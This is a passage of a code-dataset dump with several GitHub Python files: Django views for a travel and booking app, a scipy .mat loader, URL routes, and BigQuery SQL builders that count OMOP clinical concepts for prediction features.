'rejected_bookings': all_bookings.filter(status=3),\n }\n return render(request, 'managers/manage_bookings.html', context)\n\n def post(self, request, **kwargs):\n if 'approvable_id' in kwargs:\n booking_obj = get_object_or_404(BookAccommodation, pk=kwargs.get('approvable_id'))\n manager_note = request.POST.get('note')\n booking_obj.status = 2\n booking_obj.manager_note = manager_note\n booking_obj.room.current_status = 3 # making room available to Booked\n booking_obj.room.save()\n booking_obj.save()\n\n messages.success(request, 'Booking Request Approved. ')\n return redirect('authenticate:manage_booking_request', manager_id=request.user.id)\n\n if 'rejectable_id' in kwargs:\n booking_obj = get_object_or_404(BookAccommodation, pk=kwargs.get('rejectable_id'))\n manager_note = request.POST.get('note')\n booking_obj.manager_note = manager_note\n booking_obj.status = 3\n booking_obj.save()\n\n messages.success(request, 'Booking Request Rejected. ')\n return redirect('authenticate:manage_booking_request', manager_id=request.user.id)\n\n\nclass LoginView(View):\n def get(self, request):\n\n context = {\n\n }\n return render(request, 'users_auth/login.html', context)\n\n def post(self, request):\n data = request.POST\n username = data.get('username')\n password = data.get('password')\n\n user = auth.authenticate(request, username=username, password=password)\n\n if user is not None:\n if user.user_status != 1:\n auth.login(request, user)\n if user.is_staff:\n return redirect('authenticate:admin_dashboard_url')\n elif user.is_doctor:\n return redirect('authenticate:doctor_dashboard_url', doctor_id=user.id)\n elif user.is_police:\n return redirect('authenticate:police_dashboard_url')\n elif user.is_manager:\n return redirect('authenticate:manager_dashboard_url', manager_id=user.id)\n else:\n return redirect('home_url')\n\n else:\n messages.warning(request, 'Your account is not Approved By Admin Yet. Please Wait. ')\n return redirect('authenticate:login_url')\n else:\n messages.warning(request, \"Incorrect Username or Password\")\n return redirect('authenticate:login_url')\n\n\nclass LogoutView(View):\n def get(self, request):\n auth.logout(request)\n return redirect('home_url')\n\n\nclass RegistrationView(View):\n def get(self, request):\n district = District.objects.all()\n expertises = Expertise.objects.all()\n hospitals = Hospital.objects.all()\n context = {\n 'district': district,\n 'expertises': expertises,\n 'hospitals': hospitals,\n }\n return render(request, 'users_auth/user_register.html', context)\n\n def post(self, request):\n data = request.POST\n first_name = data.get('first_name')\n last_name = data.get('last_name')\n email = data.get('email')\n password = data.get('password')\n confirm_password = data.get('confirm_password')\n contact_number = data.get('contact_number')\n address = data.get('address')\n district = data.get('district')\n zip_code = data.get('zip_code')\n designation = data.get('designation')\n expertises = data.getlist('expertises')\n hospital = data.get('hospital')\n\n email_taken = User.objects.filter(username=email).exists()\n if email_taken:\n messages.error(request, \"This email is already taken. \")\n return redirect('authenticate:registration_url')\n else:\n if password == confirm_password:\n user = User.objects.create_user(username=email, first_name=first_name, last_name=last_name,\n password=password, email=email)\n user.save()\n if designation == \"manager\":\n user.is_manager = True\n user.save()\n if designation == \"doctor\":\n user.is_doctor = True\n user.save()\n if designation == \"police\":\n user.is_police = True\n user.save()\n\n address_obj = Address()\n address_obj.address = address\n address_obj.district = District.objects.get(pk=int(district))\n address_obj.zip_code = zip_code\n address_obj.save()\n\n userprofile = UserProfile.objects.get(user=user)\n userprofile.full_name = user.get_full_name()\n userprofile.cell = contact_number\n userprofile.address = address_obj\n userprofile.save()\n\n # if user is doctor, assign expertises & Hospital to the doctor.\n if designation == 'doctor':\n for value in expertises:\n exp_obj = Expertise.objects.get(pk=int(value))\n userprofile.expertise.add(exp_obj)\n\n hospital_obj = Hospital.objects.get(pk=hospital)\n hospital_obj.doctors.add(user)\n\n messages.success(request, 'Hello, {f_name}. Please Login. '.format(f_name=first_name))\n return redirect('authenticate:login_url')\n\n else:\n messages.error(request, \"Password didn't matched. \")\n return redirect('authenticate:registration_url')\n\n\nclass ProfileView(LoginRequiredMixin, View):\n def get(self, request, pk):\n profile_obj = get_object_or_404(UserProfile, pk=pk)\n districts = District.objects.all()\n context = {\n 'profile': profile_obj,\n 'full_name': profile_obj.user.get_full_name(),\n 'districts': districts,\n 'expertises': Expertise.objects.all(),\n 'profile_exp': profile_obj.expertise.all(),\n }\n return render(request, 'users_auth/profile.html', context)\n\n def post(self, request, pk):\n data = request.POST\n profile_picture = request.FILES.get('profile_picture')\n first_name = data.get('first_name')\n last_name = data.get('last_name')\n cell = data.get('cell')\n address = data.get('address')\n district = data.get('district')\n zip_code = data.get('zip_code')\n description = data.get('description')\n\n profile_obj = get_object_or_404(UserProfile, pk=pk)\n profile_obj.user.first_name = first_name\n profile_obj.user.last_name = last_name\n profile_obj.user.save()\n\n profile_obj.address.address = address\n profile_obj.address.district = District.objects.get(pk=district)\n profile_obj.address.zip_code = zip_code\n profile_obj.address.save()\n\n profile_obj.cell = cell\n if profile_picture:\n profile_obj.profile_picture = profile_picture\n profile_obj.description = description\n profile_obj.save()\n\n messages.success(request, 'Profile Updated Successfully. ')\n if profile_obj.user.is_doctor:\n return redirect('authenticate:doctor_dashboard_url', doctor_id=profile_obj.user.id)\n if profile_obj.user.is_manager:\n return redirect('authenticate:manager_dashboard_url', manager_id=profile_obj.user.id)\n\n return redirect('authenticate:profile_url', pk=profile_obj.id)\n\n\nclass ManageUserMessage(View):\n def post(self, request, **kwargs):\n message = request.POST.get('message')\n\n contact_obj = Contact(user=request.user, message=message)\n contact_obj.save()\n\n messages.success(request, 'Feedback Sent Successfully. ')\n return redirect('home_url')\n\n", "repo_name": "z4yed/TravelAid", "sub_path": "users_auth/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 16168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.views.View", "line_number": 16, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 24, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 24, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 32, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 32, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 34, "usage_type": "call"}, {"api_name": "models.User", "line_number": 34, "usage_type": "argument"}, {"api_name": "services.models.Appointment.objects.filter", "line_number": 35, "usage_type": "call"}, {"api_name": "services.models.Appointment.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "services.models.Appointment", "line_number": 35, "usage_type": "name"}, {"api_name": "services.models.Appointment.objects.filter", "line_number": 36, "usage_type": "call"}, {"api_name": "services.models.Appointment.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "services.models.Appointment", "line_number": 36, "usage_type": "name"}, {"api_name": "services.models.Appointment.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "services.models.Appointment.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "services.models.Appointment", "line_number": 37, "usage_type": "name"}, {"api_name": "services.models.Appointment.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "services.models.Appointment.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "services.models.Appointment", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 51, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 51, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 56, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 59, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 59, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 61, "usage_type": "call"}, {"api_name": "models.User", "line_number": 61, "usage_type": "argument"}, {"api_name": "address.models.District.objects.all", "line_number": 62, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 62, "usage_type": "name"}, {"api_name": "services.models.Accommodation.objects.filter", "line_number": 63, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 63, "usage_type": "name"}, {"api_name": "services.models.Accommodation.objects.none", "line_number": 64, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 64, "usage_type": "name"}, {"api_name": "services.models.Room.objects.filter", "line_number": 66, "usage_type": "call"}, {"api_name": "services.models.Room.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "services.models.Room", "line_number": 66, "usage_type": "name"}, {"api_name": "services.models.BookAccommodation.objects.filter", "line_number": 69, "usage_type": "call"}, {"api_name": "services.models.BookAccommodation.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "services.models.BookAccommodation", "line_number": 69, "usage_type": "name"}, {"api_name": "services.models.ROOM_TYPE_CHOICES", "line_number": 75, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 81, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 84, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 84, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 87, "usage_type": "call"}, {"api_name": "services.models.Accommodation", "line_number": 87, "usage_type": "argument"}, {"api_name": "django.contrib.messages.success", "line_number": 89, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 89, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 96, "usage_type": "call"}, {"api_name": "services.models.Accommodation", "line_number": 96, "usage_type": "argument"}, {"api_name": "address.models.District.objects.get", "line_number": 110, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 110, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 117, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 117, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 118, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 129, "usage_type": "call"}, {"api_name": "address.models.District", "line_number": 129, "usage_type": "argument"}, {"api_name": "address.models.Address", "line_number": 130, "usage_type": "call"}, {"api_name": "services.models.Accommodation", "line_number": 133, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 136, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 136, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 137, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 140, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 140, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 143, "usage_type": "call"}, {"api_name": "services.models.Room", "line_number": 143, "usage_type": "argument"}, {"api_name": "django.contrib.messages.success", "line_number": 145, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 145, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 146, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 159, "usage_type": "call"}, {"api_name": "services.models.Room", "line_number": 159, "usage_type": "argument"}, {"api_name": "services.models.Accommodation.objects.get", "line_number": 163, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 163, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 163, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 168, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 168, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 169, "usage_type": "call"}, {"api_name": "services.models.Room", "line_number": 171, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects.get", "line_number": 171, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 171, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 171, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 174, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 174, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 175, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 178, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 178, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 180, "usage_type": "call"}, {"api_name": "models.User", "line_number": 180, "usage_type": "argument"}, {"api_name": "services.models.Accommodation.objects.filter", "line_number": 181, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 181, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 181, "usage_type": "name"}, {"api_name": "services.models.Accommodation.objects.none", "line_number": 182, "usage_type": "call"}, {"api_name": "services.models.Accommodation.objects", "line_number": 182, "usage_type": "attribute"}, {"api_name": "services.models.Accommodation", "line_number": 182, "usage_type": "name"}, {"api_name": "services.models.Room.objects.filter", "line_number": 184, "usage_type": "call"}, {"api_name": "services.models.Room.objects", "line_number": 184, "usage_type": "attribute"}, {"api_name": "services.models.Room", "line_number": 184, "usage_type": "name"}, {"api_name": "services.models.BookAccommodation.objects.filter", "line_number": 187, "usage_type": "call"}, {"api_name": "services.models.BookAccommodation.objects", "line_number": 187, "usage_type": "attribute"}, {"api_name": "services.models.BookAccommodation", "line_number": 187, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 195, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 199, "usage_type": "call"}, {"api_name": "services.models.BookAccommodation", "line_number": 199, "usage_type": "argument"}, {"api_name": "django.contrib.messages.success", "line_number": 207, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 207, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 208, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 211, "usage_type": "call"}, {"api_name": "services.models.BookAccommodation", "line_number": 211, "usage_type": "argument"}, {"api_name": "django.contrib.messages.success", "line_number": 217, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 217, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 218, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 221, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 227, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 234, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 234, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 238, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 238, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 240, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 242, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 244, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 246, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 248, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 251, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 251, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 252, "usage_type": "call"}, {"api_name": "django.contrib.messages.warning", "line_number": 254, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 254, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 255, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 258, "usage_type": "name"}, {"api_name": "django.contrib.auth.logout", "line_number": 260, "usage_type": "call"}, {"api_name": "django.contrib.auth", "line_number": 260, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 261, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 264, "usage_type": "name"}, {"api_name": "address.models.District.objects.all", "line_number": 266, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 266, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 266, "usage_type": "name"}, {"api_name": "system.models.Expertise.objects.all", "line_number": 267, "usage_type": "call"}, {"api_name": "system.models.Expertise.objects", "line_number": 267, "usage_type": "attribute"}, {"api_name": "system.models.Expertise", "line_number": 267, "usage_type": "name"}, {"api_name": "services.models.Hospital.objects.all", "line_number": 268, "usage_type": "call"}, {"api_name": "services.models.Hospital.objects", "line_number": 268, "usage_type": "attribute"}, {"api_name": "services.models.Hospital", "line_number": 268, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 274, "usage_type": "call"}, {"api_name": "address.models", "line_number": 284, "usage_type": "name"}, {"api_name": "models.User.objects.filter", "line_number": 291, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 291, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 291, "usage_type": "name"}, {"api_name": "django.contrib.messages.error", "line_number": 293, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 293, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 294, "usage_type": "call"}, {"api_name": "models.User.objects.create_user", "line_number": 297, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 297, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 297, "usage_type": "name"}, {"api_name": "address.models.Address", "line_number": 310, "usage_type": "call"}, {"api_name": "address.models", "line_number": 311, "usage_type": "name"}, {"api_name": "address.models.District.objects.get", "line_number": 312, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 312, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 312, "usage_type": "name"}, {"api_name": "models.UserProfile.objects.get", "line_number": 316, "usage_type": "call"}, {"api_name": "models.UserProfile.objects", "line_number": 316, "usage_type": "attribute"}, {"api_name": "models.UserProfile", "line_number": 316, "usage_type": "name"}, {"api_name": "system.models.Expertise.objects.get", "line_number": 325, "usage_type": "call"}, {"api_name": "system.models.Expertise.objects", "line_number": 325, "usage_type": "attribute"}, {"api_name": "system.models.Expertise", "line_number": 325, "usage_type": "name"}, {"api_name": "services.models.Hospital.objects.get", "line_number": 328, "usage_type": "call"}, {"api_name": "services.models.Hospital.objects", "line_number": 328, "usage_type": "attribute"}, {"api_name": "services.models.Hospital", "line_number": 328, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 331, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 331, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 332, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 335, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 335, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 336, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 339, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 339, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 341, "usage_type": "call"}, {"api_name": "models.UserProfile", "line_number": 341, "usage_type": "argument"}, {"api_name": "address.models.District.objects.all", "line_number": 342, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 342, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 342, "usage_type": "name"}, {"api_name": "system.models.Expertise.objects.all", "line_number": 347, "usage_type": "call"}, {"api_name": "system.models.Expertise.objects", "line_number": 347, "usage_type": "attribute"}, {"api_name": "system.models.Expertise", "line_number": 347, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 350, "usage_type": "call"}, {"api_name": "address.models", "line_number": 358, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 363, "usage_type": "call"}, {"api_name": "models.UserProfile", "line_number": 363, "usage_type": "argument"}, {"api_name": "address.models", "line_number": 368, "usage_type": "name"}, {"api_name": "address.models.District.objects.get", "line_number": 369, "usage_type": "call"}, {"api_name": "address.models.District.objects", "line_number": 369, "usage_type": "attribute"}, {"api_name": "address.models.District", "line_number": 369, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 379, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 379, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 381, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 383, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 385, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 388, "usage_type": "name"}, {"api_name": "models.Contact", "line_number": 392, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 395, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 395, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 396, "usage_type": "call"}]} +{"seq_id": "27985918037", "text": "#coding:UTF-8\n\n\nimport scipy.io as scio\n\n#dataFile = 'zappos-labels-fg.mat'\n\n#dataFile = 'image-path.mat'\ndataFile = 'zappos-fg-rationale.mat'\ndata = scio.loadmat(dataFile)\nprint(data.keys())\n#print(data['mturkHard'][0][0].shape)\n#print(data['imagepath'].shape)", "repo_name": "PenguinZhou/Shoe_Searching_Comparison", "sub_path": "ut-zap50k-data/viewmat.py", "file_name": "viewmat.py", "file_ext": "py", "file_size_in_byte": 261, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "scipy.io.loadmat", "line_number": 10, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "35255868996", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'url_changer'\nurlpatterns = [\n path('', views.index, name='index'),\n path('convert/', views.convert, name='convert'),\n path('redirect//', views.redirect, name='redirect'),\n]\n", "repo_name": "PdxCodeGuild/class_orca", "sub_path": "code/jo/finished/django/url_changer/url_changer/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "29312940766", "text": "import numpy as np\nimport pandas as pd\nimport os\nimport dask\nimport dask.dataframe as dd\nfrom dask.distributed import Client\nimport scipy.sparse as sp\nimport joblib\n\nimport glob\nfrom prediction_utils.util import overwrite_dir\nfrom prediction_utils.extraction_utils.database import BQDatabase\n\n\nclass FeatureQuery:\n def __init__(self, *args, **kwargs):\n self.config_dict = self.get_config_dict()\n self.base_query = self.get_base_query()\n\n def get_config_dict(self):\n return {**self.get_base_config(), **self.get_query_config()}\n\n def get_base_config(self):\n return {\"requires_time_bin\": False, \"requires_time_bin_hourly\": False}\n\n def get_query_config(self):\n raise NotImplementedError\n\n\nclass CountQuery(FeatureQuery):\n \"\"\"\n A query that counts occurrences of concept_ids\n \"\"\"\n\n def get_base_config(self):\n return {\"requires_time_bin\": True, \"requires_time_bin_hourly\": False}\n\n def get_base_query(self):\n \"\"\"\n A generic query that can be used to get the counts of unique concepts.\n Allows for binning by time\n \"\"\"\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATE) as index_date, \n {concept_id} AS concept_id, \n CAST({concept_date} AS DATE) AS concept_date,\n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin\n FROM {dataset_project}.{dataset}.{source_table} t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.{concept_id} = t3.concept_id\n WHERE \n CAST({concept_date} AS DATE) BETWEEN \n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_left} DAY) AND\n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_right} DAY)\n AND standard_concept = 'S'\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n\nclass ConditionOccurrenceCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"condition_concept_id\",\n \"concept_date\": \"condition_start_date\",\n \"source_table\": \"condition_occurrence\",\n \"analysis_id\": \"condition_occurrence\",\n }\n\n\nclass DrugExposureCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"drug_concept_id\",\n \"concept_date\": \"drug_exposure_start_date\",\n \"source_table\": \"drug_exposure\",\n \"analysis_id\": \"drug_exposure\",\n }\n\n\nclass DeviceExposureCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"device_concept_id\",\n \"concept_date\": \"device_exposure_start_date\",\n \"source_table\": \"device_exposure\",\n \"analysis_id\": \"device_exposure\",\n }\n\n\nclass MeasurementCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"measurement_concept_id\",\n \"concept_date\": \"measurement_date\",\n \"source_table\": \"measurement\",\n \"analysis_id\": \"measurement\",\n }\n\n\nclass ProcedureOccurrenceCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"procedure_concept_id\",\n \"concept_date\": \"procedure_date\",\n \"source_table\": \"procedure_occurrence\",\n \"analysis_id\": \"procedure_occurrence\",\n }\n\n\nclass NoteTypeCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"note_type_concept_id\",\n \"concept_date\": \"note_date\",\n \"source_table\": \"note\",\n \"analysis_id\": \"note_type\",\n }\n\n\nclass ObservationCountQuery(CountQuery):\n def get_query_config(self):\n return {\n \"concept_id\": \"observation_concept_id\",\n \"concept_date\": \"observation_date\",\n \"source_table\": \"observation\",\n \"analysis_id\": \"observation\",\n }\n\n\n## Datetime queries that bin on an hourly basis\nclass CountDTQuery(FeatureQuery):\n \"\"\"\n A query that counts occurrences of concepts stored in datetime\n Will only pull data elements that are not recorded at midnight.\n Bins are assumed to be hourly\n \"\"\"\n\n def get_base_config(self):\n return {\"requires_time_bin\": False, \"requires_time_bin_hourly\": True}\n\n def get_base_query(self):\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field},\n t1.person_id,\n CAST(t2.{index_date_field} AS DATETIME) as index_date, \n {concept_id} AS concept_id, \n {concept_datetime} AS concept_datetime,\n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin\n FROM {dataset_project}.{dataset}.{source_table} t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t3 ON\n t1.{concept_id} = t3.concept_id\n WHERE \n {concept_datetime} BETWEEN \n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_left} HOUR) AND\n DATETIME_ADD(CAST(t2.{index_date_field} AS DATETIME), INTERVAL {bin_right} HOUR)\n AND standard_concept = 'S'\n AND CAST({concept_date} AS DATETIME) != {concept_datetime}\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n\nclass NoteNLPCountQuery(CountQuery):\n def get_base_query(self):\n \"\"\"\n A generic query that can be used to get the counts of unique concepts.\n Allows for binning by time\n \"\"\"\n return \"\"\"\n WITH source_table as (\n SELECT \n {row_id_field},\n t2.person_id,\n CAST(t2.{index_date_field} AS DATE) as index_date, \n CONCAT(CAST(note_nlp_concept_id AS STRING), '_', term_exists) AS concept_id,\n '{analysis_id}' AS analysis_id,\n CONCAT('bin_', {bin_left}, '_', {bin_right}) AS time_bin\n FROM {dataset_project}.{dataset}.note t1\n INNER JOIN {rs_dataset_project}.{rs_dataset}.{cohort_name} AS t2 ON\n t1.person_id = t2.person_id\n INNER JOIN {dataset_project}.{dataset}.note_nlp AS t3 ON\n t1.note_id = t3.note_id\n INNER JOIN {dataset_project}.{dataset}.concept AS t4 ON\n t3.note_nlp_concept_id = t4.concept_id \n WHERE \n CAST(note_date AS DATE) BETWEEN \n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_left} DAY) AND\n DATE_ADD(CAST(t2.{index_date_field} AS DATE), INTERVAL {bin_right} DAY)\n AND standard_concept = 'S'\n {limit_str}\n )\n SELECT \n {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin, \n CONCAT(concept_id, '_', time_bin, '_', analysis_id) AS feature_id,\n COUNT(*) AS concept_count\n FROM source_table\n GROUP BY {row_id_field}, person_id, index_date, concept_id, analysis_id, time_bin\n \"\"\"\n\n def get_query_config(self):\n return {\"analysis_id\": \"note_nlp\"}\n\n\nclass MeasurementRangeCountQuery(CountQuery):\n def get_base_query(self):\n \"\"\"\n A generic query that can be used to get the counts of unique concepts.\n Allows for binning by time\n \"\"\"\n return \"\"\"\n WITH source_table as (\n SELECT 